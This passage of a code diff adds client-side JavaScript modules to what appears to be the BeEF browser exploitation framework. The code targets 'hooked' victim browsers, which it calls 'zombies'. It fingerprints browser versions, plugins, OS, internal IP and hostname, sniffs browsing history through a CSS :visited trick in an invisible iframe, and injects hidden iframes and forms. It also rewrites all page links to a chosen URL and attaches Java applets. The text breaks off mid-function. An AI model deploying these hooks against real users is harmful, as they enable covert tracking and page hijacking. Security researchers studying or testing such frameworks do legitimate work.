* Returns true if Opera 9.50 trough 9.52.
|
||||
* @example: beef.browser.isO952()
|
||||
*/
|
||||
isO952: function() {
|
||||
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Opera 9.60 trough 9.64.
|
||||
* @example: beef.browser.isO960()
|
||||
*/
|
||||
isO960: function() {
|
||||
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Opera 10.xx.
|
||||
* @example: beef.browser.isO10()
|
||||
*/
|
||||
isO10: function() {
|
||||
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Opera 11.xx.
|
||||
* @example: beef.browser.isO11()
|
||||
*/
|
||||
isO11: function() {
|
||||
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Opera.
|
||||
* @example: beef.browser.isO()
|
||||
*/
|
||||
isO: function() {
|
||||
return this.isO952() || this.isO960() || this.isO10() || this.isO11();
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the type of browser being used.
|
||||
* @example: beef.browser.type().IE6
|
||||
* @example: beef.browser.type().FF
|
||||
* @example: beef.browser.type().O
|
||||
*/
|
||||
type: function() {
|
||||
|
||||
return {
|
||||
C5: this.isC5(), // Chrome 5
|
||||
C6: this.isC6(), // Chrome 6
|
||||
C7: this.isC7(), // Chrome 7
|
||||
C8: this.isC8(), // Chrome 8
|
||||
C9: this.isC9(), // Chrome 9
|
||||
C10: this.isC10(), // Chrome 10
|
||||
C: this.isC(), // Chrome any version
|
||||
FF2: this.isFF2(), // Firefox 2
|
||||
FF3: this.isFF3(), // Firefox 3
|
||||
FF35: this.isFF35(), // Firefox 3.5
|
||||
FF36: this.isFF36(), // Firefox 3.6
|
||||
FF4: this.isFF4(), // Firefox 4
|
||||
FF: this.isFF(), // Firefox any version
|
||||
IE6: this.isIE6(), // Internet Explorer 6
|
||||
IE9: this.isIE9(), // Internet Explorer 9
|
||||
IE8: this.isIE8(), // Internet Explorer 8
|
||||
IE7: this.isIE7(), // Internet Explorer 7
|
||||
IE: this.isIE(), // Internet Explorer any version
|
||||
O952: this.isO952(), // Opera 9.50 trough 9.52
|
||||
O960: this.isO960(), // Opera 9.60 trough 9.64
|
||||
O10: this.isO10(), // Opera 10.xx
|
||||
O11: this.isO11(), // Opera 11.xx
|
||||
O: this.isO(), // Opera any version
|
||||
S: this.isS() // Safari any version
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the type of browser being used.
|
||||
* @return: {String} User agent software and version.
|
||||
*
|
||||
* @example: beef.browser.getBrowserVersion()
|
||||
*/
|
||||
getBrowserVersion: function() {
|
||||
|
||||
if (this.isC5()) { return '5' }; // Chrome 5
|
||||
if (this.isC6()) { return '6' }; // Chrome 6
|
||||
if (this.isC7()) { return '7' }; // Chrome 7
|
||||
if (this.isC8()) { return '8' }; // Chrome 8
|
||||
if (this.isC9()) { return '9' }; // Chrome 9
|
||||
if (this.isC10()) { return '10' }; // Chrome 10
|
||||
if (this.isFF2()) { return '2' }; // Firefox 2
|
||||
if (this.isFF3()) { return '3' }; // Firefox 3
|
||||
if (this.isFF35()) { return '3.5' }; // Firefox 3.5
|
||||
if (this.isFF36()) { return '3.6' }; // Firefox 3.6
|
||||
if (this.isFF4()) { return '4' }; // Firefox 4
|
||||
if (this.isIE6()) { return '6' }; // Internet Explorer 6
|
||||
if (this.isIE9()) { return '9' }; // Internet Explorer 9
|
||||
if (this.isIE8()) { return '8' }; // Internet Explorer 8
|
||||
if (this.isIE7()) { return '7' }; // Internet Explorer 7
|
||||
if (this.isO952()) { return '9.5' }; // Opera 9.5x
|
||||
if (this.isO960()) { return '9.6' }; // Opera 9.6
|
||||
if (this.isO10()) { return '10' }; // Opera 10.xx
|
||||
if (this.isO11()) { return '11' }; // Opera 11.xx
|
||||
return 'UNKNOWN'; // Unknown UA
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the type of user agent by hooked browser.
|
||||
* @return: {String} User agent software.
|
||||
*
|
||||
* @example: beef.browser.getBrowserName()
|
||||
*/
|
||||
getBrowserName: function() {
|
||||
|
||||
if (this.isC()) { return 'C' }; // Chrome any version
|
||||
if (this.isFF()) { return 'FF' }; // Firefox any version
|
||||
if (this.isIE()) { return 'IE' }; // Internet Explorer any version
|
||||
if (this.isO()) { return 'O' }; // Opera any version
|
||||
if (this.isS()) { return 'S' }; // Safari any version
|
||||
return 'UN'; // Unknown UA
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the zombie has flash installed and enabled.
|
||||
* @return: {Boolean} true or false.
|
||||
*
|
||||
* @example: if(beef.browser.hasFlash()) { ... }
|
||||
*/
|
||||
hasFlash: function() {
|
||||
if (!this.type().IE) {
|
||||
return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
|
||||
} else {
|
||||
flash_versions = 10;
|
||||
flash_installed = false;
|
||||
|
||||
if (window.ActiveXObject) {
|
||||
for (x = 2; x <= flash_versions; x++) {
|
||||
try {
|
||||
Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
|
||||
if (Flash) {
|
||||
flash_installed = true;
|
||||
}
|
||||
}
|
||||
catch(e) { }
|
||||
}
|
||||
};
|
||||
return flash_installed;
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the zombie has Java installed and enabled.
|
||||
* @return: {Boolean} true or false.
|
||||
*
|
||||
* @example: if(beef.browser.hasJava()) { ... }
|
||||
*/
|
||||
hasJava: function() {
|
||||
if(!this.type().IE && window.navigator.javaEnabled && window.navigator.javaEnabled()) {
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the zombie has VBScript enabled.
|
||||
* @return: {Boolean} true or false.
|
||||
*
|
||||
* @example: if(beef.browser.hasVBScript()) { ... }
|
||||
*/
|
||||
hasVBScript: function() {
|
||||
if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the list of plugins installed in the browser.
|
||||
*/
|
||||
getPlugins: function() {
|
||||
var results = '';
|
||||
if (this.isIE())
|
||||
{
|
||||
results = this.getPluginsIE();
|
||||
} else {
|
||||
if (navigator.plugins && navigator.plugins.length > 0)
|
||||
{
|
||||
var length = navigator.plugins.length;
|
||||
for (var i=0; i < length; i++)
|
||||
{
|
||||
if (i != 0)
|
||||
results += ', ';
|
||||
results += navigator.plugins[i].name;
|
||||
}
|
||||
} else {
|
||||
results = 'navigator.plugins is not supported in this browser!';
|
||||
}
|
||||
}
|
||||
return results;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns a list of plugins detected by IE. This is a hack because IE doesn't
|
||||
* support navigator.plugins
|
||||
*/
|
||||
getPluginsIE: function() {
|
||||
var results = '';
|
||||
var plugins = {'AdobePDF6':{
|
||||
'control':'PDF.PdfCtrl',
|
||||
'return': function(control) {
|
||||
version = control.getVersions().split(',');
|
||||
version = version[0].split('=');
|
||||
return 'Acrobat Reader v'+parseFloat(version[1]);
|
||||
}},
|
||||
'AdobePDF7':{
|
||||
'control':'AcroPDF.PDF',
|
||||
'return': function(control) {
|
||||
version = control.getVersions().split(',');
|
||||
version = version[0].split('=');
|
||||
return 'Acrobat Reader v'+parseFloat(version[1]);
|
||||
}},
|
||||
'Flash':{
|
||||
'control':'ShockwaveFlash.ShockwaveFlash',
|
||||
'return': function(control) {
|
||||
version = control.getVariable('$version').substring(4);
|
||||
version = version.split(',');
|
||||
return 'Flash Player v'+parseFloat(version[0]+'.'+version[1]);
|
||||
}},
|
||||
'Quicktime':{
|
||||
'control': 'QuickTime.QuickTime',
|
||||
'return': function(control) {
|
||||
return 'QuickTime Player';
|
||||
}},
|
||||
'RealPlayer':{
|
||||
'control': 'RealPlayer',
|
||||
'return': function(control) {
|
||||
version = control.getVersionInfo();
|
||||
return 'RealPlayer v'+parseFloat(version);
|
||||
}},
|
||||
'Shockwave':{
|
||||
'control': 'SWCtl.SWCtl',
|
||||
'return': function(control) {
|
||||
version = control.ShockwaveVersion('').split('r');
|
||||
return 'Shockwave v'+parseFloat(version[0]);
|
||||
}},
|
||||
'WindowsMediaPlayer': {
|
||||
'control': 'WMPlayer.OCX',
|
||||
'return': function(control) {
|
||||
return 'Windows Media Player v'+parseFloat(control.versionInfo);
|
||||
}}
|
||||
};
|
||||
if (window.ActiveXObject) {
|
||||
var j = 0;
|
||||
for (var i in plugins)
|
||||
{
|
||||
var control = null;
|
||||
var version = null;
|
||||
try {
|
||||
control = new ActiveXObject(plugins[i]['control']);
|
||||
} catch (e) { }
|
||||
if (control)
|
||||
{
|
||||
if (j != 0)
|
||||
results += ', ';
|
||||
results += plugins[i]['return'](control);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
return results;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns zombie screen size and color depth.
|
||||
*/
|
||||
getScreenParams: function() {
|
||||
return {
|
||||
width: window.screen.width,
|
||||
height: window.screen.height,
|
||||
colordepth: window.screen.colorDepth
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns zombie browser window size.
|
||||
* @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
|
||||
*/
|
||||
getWindowSize: function() {
|
||||
var myWidth = 0, myHeight = 0;
|
||||
if( typeof( window.innerWidth ) == 'number' ) {
|
||||
// Non-IE
|
||||
myWidth = window.innerWidth;
|
||||
myHeight = window.innerHeight;
|
||||
} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
|
||||
// IE 6+ in 'standards compliant mode'
|
||||
myWidth = document.documentElement.clientWidth;
|
||||
myHeight = document.documentElement.clientHeight;
|
||||
} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
|
||||
// IE 4 compatible
|
||||
myWidth = document.body.clientWidth;
|
||||
myHeight = document.body.clientHeight;
|
||||
}
|
||||
return {
|
||||
width: myWidth,
|
||||
height: myHeight
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Construct hash from browser details. This function is used to grab the browser details during the hooking process
|
||||
*/
|
||||
getDetails: function() {
|
||||
var details = new Array();
|
||||
|
||||
var browser_name = beef.browser.getBrowserName();
|
||||
var browser_version = beef.browser.getBrowserVersion();
|
||||
var browser_reported_name = beef.browser.getBrowserReportedName();
|
||||
var page_title = document.title;
|
||||
var hostname = document.location.hostname;
|
||||
var browser_plugins = beef.browser.getPlugins();
|
||||
var os_name = beef.os.getName();
|
||||
var internal_ip = beef.net.local.getLocalAddress();
|
||||
var internal_hostname = beef.net.local.getLocalHostname();
|
||||
|
||||
if(browser_name) details["BrowserName"] = browser_name;
|
||||
if(browser_version) details["BrowserVersion"] = browser_version;
|
||||
if(browser_reported_name) details["BrowserReportedName"] = browser_reported_name;
|
||||
if(page_title) details["PageTitle"] = page_title;
|
||||
if(hostname) details["HostName"] = hostname;
|
||||
if(browser_plugins) details["BrowserPlugins"] = browser_plugins;
|
||||
if(os_name) details['OsName'] = os_name;
|
||||
if(internal_ip) details['InternalIP'] = internal_ip;
|
||||
if(internal_hostname) details['InternalHostname'] = internal_hostname;
|
||||
|
||||
return details;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns array of results, whether or not the target zombie has visited the specified URL
|
||||
*/
|
||||
hasVisited: function(urls) {
|
||||
var results = new Array();
|
||||
var iframe = beef.dom.createInvisibleIframe();
|
||||
var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
|
||||
ifdoc.open();
|
||||
ifdoc.write('<style>a:visited{width:0px !important;}</style>');
|
||||
ifdoc.close();
|
||||
urls = urls.split("\n");
|
||||
var count = 0;
|
||||
for (var i in urls)
|
||||
{
|
||||
var u = urls[i];
|
||||
if (u != "" || u != null)
|
||||
{
|
||||
var success = false;
|
||||
var a = ifdoc.createElement('a');
|
||||
a.href = u;
|
||||
ifdoc.body.appendChild(a);
|
||||
var width = null;
|
||||
(a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
|
||||
if (width == '0px') {
|
||||
success = true;
|
||||
}
|
||||
results.push({'url':u, 'visited':success});
|
||||
count++;
|
||||
}
|
||||
}
|
||||
beef.dom.removeElement(iframe);
|
||||
if (results.length == 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return results;
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the zombie has Google Gears installed.
|
||||
* @return: {Boolean} true or false.
|
||||
*
|
||||
* @from: https://code.google.com/apis/gears/gears_init.js
|
||||
* */
|
||||
hasGoogleGears: function() {
|
||||
|
||||
if (window.google && google.gears) {
|
||||
return true;
|
||||
}
|
||||
|
||||
var ggfactory = null;
|
||||
|
||||
// Firefox
|
||||
if (typeof GearsFactory != 'undefined') {
|
||||
ggfactory = new GearsFactory();
|
||||
} else {
|
||||
// IE
|
||||
try {
|
||||
ggfactory = new ActiveXObject('Gears.Factory');
|
||||
// IE Mobile on WinCE.
|
||||
if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
|
||||
ggfactory.privateSetGlobalObject(this);
|
||||
}
|
||||
} catch (e) {
|
||||
// Safari
|
||||
if ((typeof navigator.mimeTypes != 'undefined')
|
||||
&& navigator.mimeTypes["application/x-googlegears"]) {
|
||||
ggfactory = document.createElement("object");
|
||||
ggfactory.style.display = "none";
|
||||
ggfactory.width = 0;
|
||||
ggfactory.height = 0;
|
||||
ggfactory.type = "application/x-googlegears";
|
||||
document.documentElement.appendChild(ggfactory);
|
||||
if(ggfactory && (typeof ggfactory.create == 'undefined')) {
|
||||
ggfactory = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!ggfactory) {
|
||||
return false
|
||||
} else {
|
||||
return true
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Changes the favicon in firefox only
|
||||
**/
|
||||
changeFavicon: function(favicon_url) {
|
||||
var link = document.createElement('link');
|
||||
link.type = 'image/x-icon';
|
||||
link.rel = 'shortcut icon';
|
||||
link.href = favicon_url;
|
||||
document.getElementsByTagName('head')[0].appendChild(link);
|
||||
},
|
||||
|
||||
/**
|
||||
* Changes page title
|
||||
**/
|
||||
changePageTitle: function(title) {
|
||||
document.title = title;
|
||||
},
|
||||
|
||||
|
||||
/**
|
||||
* A function that gets the max number of simaltaneous connections the browser can make
|
||||
* per domain, or globally on all domains.
|
||||
*
|
||||
* This code is based on research from browserspy.dk
|
||||
*
|
||||
* @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
|
||||
* @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
|
||||
* the number of connections to the callback function as "this"
|
||||
*
|
||||
* example usage:
|
||||
* $j.when(getMaxConnections()).done(function(){
|
||||
* console.debug("Max Connections: " + this);
|
||||
* });
|
||||
*
|
||||
*/
|
||||
getMaxConnections: function(scope) {
|
||||
|
||||
var imagesCount = 30; // Max number of images to test.
|
||||
var secondsTimeout = 5; // Image load timeout threashold.
|
||||
var testUrl =""; // The image testing service URL.
|
||||
|
||||
// User broserspy.dk max connections service URL.
|
||||
if(scope=='PER_DOMAIN')
|
||||
testUrl = "http://browserspy.dk/connections.php?img=1&random=";
|
||||
else
|
||||
// The token will be replaced by a different number with each request(different domain).
|
||||
testUrl = "http://<token>.browserspy.dk/connections.php?img=1&random=";
|
||||
|
||||
|
||||
var imagesLoaded = 0; // Number of responding images before timeout.
|
||||
var imagesRequested = 0; // Number of requested images.
|
||||
var testImages = new Array(); // Array of all images.
|
||||
var deferredObject = $j.Deferred(); // A jquery Deferred object.
|
||||
|
||||
for (var i = 1; i <= imagesCount; i++)
|
||||
{
|
||||
// Asynchronously request image.
|
||||
testImages[i] =
|
||||
$j.ajax({
|
||||
type: "get",
|
||||
dataType: true,
|
||||
url: (testUrl.replace("<token>",i)) + Math.random(),
|
||||
data: "",
|
||||
timeout: (secondsTimeout * 1000),
|
||||
|
||||
// Function on completion of request.
|
||||
complete: function(jqXHR, textStatus){
|
||||
|
||||
imagesRequested++;
|
||||
|
||||
// If the image returns a 200 or a 302, the text Status is "error", else null
|
||||
if(textStatus == "error")
|
||||
{
|
||||
imagesLoaded++;
|
||||
}
|
||||
|
||||
// If all images requested
|
||||
if(imagesRequested >= imagesCount)
|
||||
{
|
||||
// resolve the deferred object passing the number of loaded images.
|
||||
deferredObject.resolveWith(imagesLoaded);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
// Return a promise to resolve the deffered object when the images are loaded.
|
||||
return deferredObject.promise();
|
||||
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.browser');
|
||||
95
core/main/client/browser/cookie.js
Normal file
95
core/main/client/browser/cookie.js
Normal file
@@ -0,0 +1,95 @@
|
||||
/*!
|
||||
* @literal object: beef.browser.cookie
|
||||
*
|
||||
* Provides fuctions for working with cookies.
|
||||
* Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
|
||||
* Original author unknown.
|
||||
*
|
||||
*/
|
||||
beef.browser.cookie = {
|
||||
|
||||
setCookie: function (name, value, expires, path, domain, secure)
|
||||
{
|
||||
|
||||
var today = new Date();
|
||||
today.setTime( today.getTime() );
|
||||
|
||||
if ( expires )
|
||||
{
|
||||
expires = expires * 1000 * 60 * 60 * 24;
|
||||
}
|
||||
var expires_date = new Date( today.getTime() + (expires) );
|
||||
|
||||
document.cookie = name + "=" +escape( value ) +
|
||||
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
|
||||
( ( path ) ? ";path=" + path : "" ) +
|
||||
( ( domain ) ? ";domain=" + domain : "" ) +
|
||||
( ( secure ) ? ";secure" : "" );
|
||||
},
|
||||
|
||||
getCookie: function(name)
|
||||
{
|
||||
var a_all_cookies = document.cookie.split( ';' );
|
||||
var a_temp_cookie = '';
|
||||
var cookie_name = '';
|
||||
var cookie_value = '';
|
||||
var b_cookie_found = false;
|
||||
|
||||
for ( i = 0; i < a_all_cookies.length; i++ )
|
||||
{
|
||||
a_temp_cookie = a_all_cookies[i].split( '=' );
|
||||
cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
|
||||
if ( cookie_name == name )
|
||||
{
|
||||
b_cookie_found = true;
|
||||
if ( a_temp_cookie.length > 1 )
|
||||
{
|
||||
cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
|
||||
}
|
||||
return cookie_value;
|
||||
break;
|
||||
}
|
||||
a_temp_cookie = null;
|
||||
cookie_name = '';
|
||||
}
|
||||
if ( !b_cookie_found )
|
||||
{
|
||||
return null;
|
||||
}
|
||||
},
|
||||
|
||||
deleteCookie: function (name, path, domain)
|
||||
{
|
||||
if ( this.getCookie(name) ) document.cookie = name + "=" +
|
||||
( ( path ) ? ";path=" + path : "") +
|
||||
( ( domain ) ? ";domain=" + domain : "" ) +
|
||||
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
|
||||
},
|
||||
|
||||
hasSessionCookies: function (name)
|
||||
{
|
||||
var name = name || "cookie";
|
||||
if (name == "") name = "cookie";
|
||||
this.setCookie( name, 'none', '', '/', '', '' );
|
||||
|
||||
cookiesEnabled = (this.getCookie(name) == null)? false:true;
|
||||
this.deleteCookie(name, '/', '');
|
||||
return cookiesEnabled;
|
||||
|
||||
},
|
||||
|
||||
hasPersistentCookies: function (name)
|
||||
{
|
||||
var name = name || "cookie";
|
||||
if (name == "") name = "cookie";
|
||||
this.setCookie( name, 'none', 1, '/', '', '' );
|
||||
|
||||
cookiesEnabled = (this.getCookie(name) == null)? false:true;
|
||||
this.deleteCookie(name, '/', '');
|
||||
return cookiesEnabled;
|
||||
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.browser.cookie');
|
||||
188
core/main/client/dom.js
Normal file
188
core/main/client/dom.js
Normal file
@@ -0,0 +1,188 @@
|
||||
/*!
|
||||
* @literal object: beef.dom
|
||||
*
|
||||
* Provides functionalities to manipulate the DOM.
|
||||
*/
|
||||
beef.dom = {
|
||||
|
||||
/**
|
||||
* Generates a random ID for HTML elements
|
||||
* @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
|
||||
* @return: generated id
|
||||
*/
|
||||
generateID: function(prefix) {
|
||||
return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
|
||||
},
|
||||
|
||||
/**
|
||||
* Creates a new element but does not append it to the DOM.
|
||||
* @param: {String} the name of the element.
|
||||
* @param: {Literal Object} the attributes of that element.
|
||||
* @return: the created element.
|
||||
*/
|
||||
createElement: function(type, attributes) {
|
||||
var el = document.createElement(type);
|
||||
|
||||
for(index in attributes) {
|
||||
if(typeof attributes[index] == 'string') {
|
||||
el.setAttribute(index, attributes[index]);
|
||||
}
|
||||
}
|
||||
|
||||
return el;
|
||||
},
|
||||
|
||||
/**
|
||||
* Removes element from the DOM.
|
||||
* @param: {String or DOM Object} the target element to be removed.
|
||||
*/
|
||||
removeElement: function(el) {
|
||||
if (!beef.dom.isDOMElement(el))
|
||||
{
|
||||
el = document.getElementById(el);
|
||||
}
|
||||
try {
|
||||
el.parentNode.removeChild(el);
|
||||
} catch (e) { }
|
||||
},
|
||||
|
||||
/**
|
||||
* Tests if the object is a DOM element.
|
||||
* @param: {Object} the DOM element.
|
||||
* @return: true if the object is a DOM element.
|
||||
*/
|
||||
isDOMElement: function(obj) {
|
||||
return (obj.nodeType) ? true : false;
|
||||
},
|
||||
|
||||
/**
|
||||
* Creates an invisible iframe on the hook browser's page.
|
||||
* @return: the iframe.
|
||||
*/
|
||||
createInvisibleIframe: function() {
|
||||
var iframe = this.createElement('iframe', {
|
||||
width: '1px',
|
||||
height: '1px',
|
||||
style: 'visibility:hidden;'
|
||||
});
|
||||
|
||||
document.body.appendChild(iframe);
|
||||
|
||||
return iframe;
|
||||
},
|
||||
|
||||
/**
|
||||
* @param: {String} type: can be one of the following: hidden, fullscreen, custom
|
||||
* @param: {String} method: can be 'get' or 'post'. defaults to get
|
||||
* @param: {Hash} params: list of params that will be sent in request.
|
||||
* @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
|
||||
* @param: {Function} a callback function to fire once the iframe has loaded
|
||||
* @return: {Object} the inserted iframe
|
||||
*/
|
||||
createIframe: function(type, method, params, styles, onload) {
|
||||
var css = {};
|
||||
var form_submit = (method.toLowerCase() == 'post') ? true : false;
|
||||
if (form_submit && params['src'])
|
||||
{
|
||||
var form_action = params['src'];
|
||||
params['src'] = '';
|
||||
}
|
||||
if (type == 'hidden') { css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); }
|
||||
if (type == 'fullscreen') { css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); }
|
||||
var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
|
||||
|
||||
if (form_submit && form_action)
|
||||
{
|
||||
var id = beef.dom.generateID();
|
||||
$j(iframe).attr({'id': id, 'name':id});
|
||||
var form = beef.dom.createForm({'action':form_action, 'method':'get', 'target':id}, false);
|
||||
$j(form).prependTo('body').submit();
|
||||
}
|
||||
return iframe;
|
||||
},
|
||||
|
||||
/**
|
||||
* @param: {Hash} params: params to be applied to the form element
|
||||
* @param: {Boolean} append: automatically append the form to the body
|
||||
* @return: {Object} a form object
|
||||
*/
|
||||
createForm: function(params, append) {
|
||||
var form = $j('<form></form>').attr(params);
|
||||
if (append)
|
||||
$j('body').append(form);
|
||||
return form;
|
||||
},
|
||||
|
||||
/**
|
||||
* Get the location of the current page.
|
||||
* @return: the location.
|
||||
*/
|
||||
getLocation: function() {
|
||||
return document.location.href;
|
||||
},
|
||||
|
||||
/**
|
||||
* Get links of the current page.
|
||||
* @return: array of URLs.
|
||||
*/
|
||||
getLinks: function() {
|
||||
var linksarray = [];
|
||||
var links = document.links;
|
||||
for(var i = 0; i<links.length; i++) {
|
||||
linksarray = linksarray.concat(links[i].href)
|
||||
};
|
||||
return linksarray
|
||||
},
|
||||
|
||||
/**
|
||||
* Rewrites all links matched by selector to url, also rebinds the click method to simply return true
|
||||
* @param: {String} url: the url to be rewritten
|
||||
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
|
||||
* @return: {Number} the amount of links found in the DOM and rewritten.
|
||||
*/
|
||||
rewriteLinks: function(url, selector) {
|
||||
var sel = (selector == null) ? 'a' : selector;
|
||||
return $j(sel).each(function() {
|
||||
if ($j(this).attr('href') != null)
|
||||
{
|
||||
$j(this).attr('href', url).click(function() { return true; });
|
||||
}
|
||||
}).length;
|
||||
},
|
||||
|
||||
/**
|
||||
* @params: {String} id: reference identifier to the applet.
|
||||
* @params: {String} code: name of the class to be loaded. For example, beef.class.
|
||||
* @params: {String} archive: the jar that contains the code.
|
||||
* example usage in code:
|
||||
* beef.dom.attachApplet('appletId', 'SuperMario3D.class', 'http://127.0.0.1:3000/ui/media/images/target.jar');
|
||||
*/
|
||||
attachApplet: function(id, code, archive){
|
||||
var content = null;
|
||||
if(beef.browser.isIE()){
|
||||
content = "" +
|
||||
"<object classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
|
||||
"height='350' width='550' > " +
|
||||
"<param name='code' value='" + code + "' />" +
|
||||
"<param name='archive' value='" + archive + "' />" +
|
||||
"</object>";
|
||||
}else{ // if the hooked browser is not IE, then use the embed tag
|
||||
content = "" +
|
||||
"<embed id='" + id + "' code='" + code + "' " +
|
||||
"type='application/x-java-applet' archive='" + archive + "' " +
|
||||
"height='350' width='550' >" +
|
||||
"</embed>";
|
||||
}
|
||||
$j('body').append(content);
|
||||
},
|
||||
|
||||
/**
|
||||
* @params: {String} id: reference identifier to the applet.
|
||||
*/
|
||||
detachApplet: function(id){
|
||||
$j('#' + id + '').detach();
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.dom');
|
||||
146
core/main/client/encode/base64.js
Normal file
146
core/main/client/encode/base64.js
Normal file
@@ -0,0 +1,146 @@
|
||||
// Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
|
||||
|
||||
beef.encode = {};
|
||||
|
||||
beef.encode.base64 = {
|
||||
|
||||
keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
|
||||
|
||||
encode : function (input) {
|
||||
if (window.btoa) {
|
||||
return btoa(input);
|
||||
}
|
||||
|
||||
var output = "";
|
||||
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
|
||||
var i = 0;
|
||||
|
||||
input = beef.encode.base64.utf8_encode(input);
|
||||
|
||||
while (i < input.length) {
|
||||
|
||||
chr1 = input.charCodeAt(i++);
|
||||
chr2 = input.charCodeAt(i++);
|
||||
chr3 = input.charCodeAt(i++);
|
||||
|
||||
enc1 = chr1 >> 2;
|
||||
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
|
||||
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
|
||||
enc4 = chr3 & 63;
|
||||
|
||||
if (isNaN(chr2)) {
|
||||
enc3 = enc4 = 64;
|
||||
} else if (isNaN(chr3)) {
|
||||
enc4 = 64;
|
||||
}
|
||||
|
||||
output = output +
|
||||
this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +
|
||||
this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
|
||||
|
||||
}
|
||||
|
||||
return output;
|
||||
},
|
||||
|
||||
|
||||
decode : function (input) {
|
||||
if (window.atob) {
|
||||
return atob(input);
|
||||
}
|
||||
|
||||
var output = "";
|
||||
var chr1, chr2, chr3;
|
||||
var enc1, enc2, enc3, enc4;
|
||||
var i = 0;
|
||||
|
||||
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
|
||||
|
||||
while (i < input.length) {
|
||||
|
||||
enc1 = this.keyStr.indexOf(input.charAt(i++));
|
||||
enc2 = this.keyStr.indexOf(input.charAt(i++));
|
||||
enc3 = this.keyStr.indexOf(input.charAt(i++));
|
||||
enc4 = this.keyStr.indexOf(input.charAt(i++));
|
||||
|
||||
chr1 = (enc1 << 2) | (enc2 >> 4);
|
||||
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
|
||||
chr3 = ((enc3 & 3) << 6) | enc4;
|
||||
|
||||
output = output + String.fromCharCode(chr1);
|
||||
|
||||
if (enc3 != 64) {
|
||||
output = output + String.fromCharCode(chr2);
|
||||
}
|
||||
if (enc4 != 64) {
|
||||
output = output + String.fromCharCode(chr3);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
output = beef.encode.base64.utf8_decode(output);
|
||||
|
||||
return output;
|
||||
|
||||
},
|
||||
|
||||
|
||||
utf8_encode : function (string) {
|
||||
string = string.replace(/\r\n/g,"\n");
|
||||
var utftext = "";
|
||||
|
||||
for (var n = 0; n < string.length; n++) {
|
||||
|
||||
var c = string.charCodeAt(n);
|
||||
|
||||
if (c < 128) {
|
||||
utftext += String.fromCharCode(c);
|
||||
}
|
||||
else if((c > 127) && (c < 2048)) {
|
||||
utftext += String.fromCharCode((c >> 6) | 192);
|
||||
utftext += String.fromCharCode((c & 63) | 128);
|
||||
}
|
